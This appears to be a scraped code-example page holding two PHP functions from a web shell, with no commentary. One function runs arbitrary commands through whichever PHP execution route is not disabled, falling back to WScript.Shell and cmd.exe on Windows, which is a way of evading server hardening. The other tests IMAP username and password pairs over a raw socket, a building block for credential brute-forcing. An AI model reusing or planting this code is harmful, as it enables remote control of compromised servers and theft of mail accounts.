function shelL($command)
{
    global $windows, $disablefunctions;
    $exec = '';
    $output = '';
    $dep[] = array('pipe', 'r');
    $dep[] = array('pipe', 'w');
    if (is_callable('passthru') && !strstr($disablefunctions, 'passthru')) {
        @ob_start();
        passthru($command);
        $exec = @ob_get_contents();
        @ob_clean();
        @ob_end_clean();
    } elseif (is_callable('system') && !strstr($disablefunctions, 'system')) {
        $tmp = @ob_get_contents();
        @ob_clean();
        system($command);
        $output = @ob_get_contents();
        @ob_clean();
        $exec = $tmp;
    } elseif (is_callable('exec') && !strstr($disablefunctions, 'exec')) {
        exec($command, $output);
        $output = join("\n", $output);
        $exec = $output;
    } elseif (is_callable('shell_exec') && !strstr($disablefunctions, 'shell_exec')) {
        $exec = shell_exec($command);
    } elseif (is_resource($output = popen($command, "r"))) {
        while (!feof($output)) {
            $exec = fgets($output);
        }
        pclose($output);
    } elseif (is_resource($res = proc_open($command, $dep, $pipes))) {
        while (!feof($pipes[1])) {
            $line = fgets($pipes[1]);
            $output .= $line;
        }
        $exec = $output;
        proc_close($res);
    } elseif ($windows && is_object($ws = new COM("WScript.Shell"))) {
        $dir = isset($_SERVER["TEMP"]) ? $_SERVER["TEMP"] : ini_get('upload_tmp_dir');
        $name = $_SERVER["TEMP"] . namE();
        $ws->Run("cmd.exe /C {$command} >{$name}", 0, true);
        $exec = file_get_contents($name);
        unlink($name);
    }
    return $exec;
}
Exemple #2
0
function imaplogiN($host, $username, $password)
{
    $sock = fsockopen($host, 143, $n, $s, 5);
    $b = namE();
    $l = strlen($b);
    if (!$sock) {
        return -1;
    }
    fread($sock, 1024);
    fputs($sock, "{$b} LOGIN {$username} {$password}\r\n");
    $res = fgets($sock, $l + 4);
    if ($res == "{$b} OK") {
        return 1;
    } else {
        return 0;
    }
    fclose($sock);
}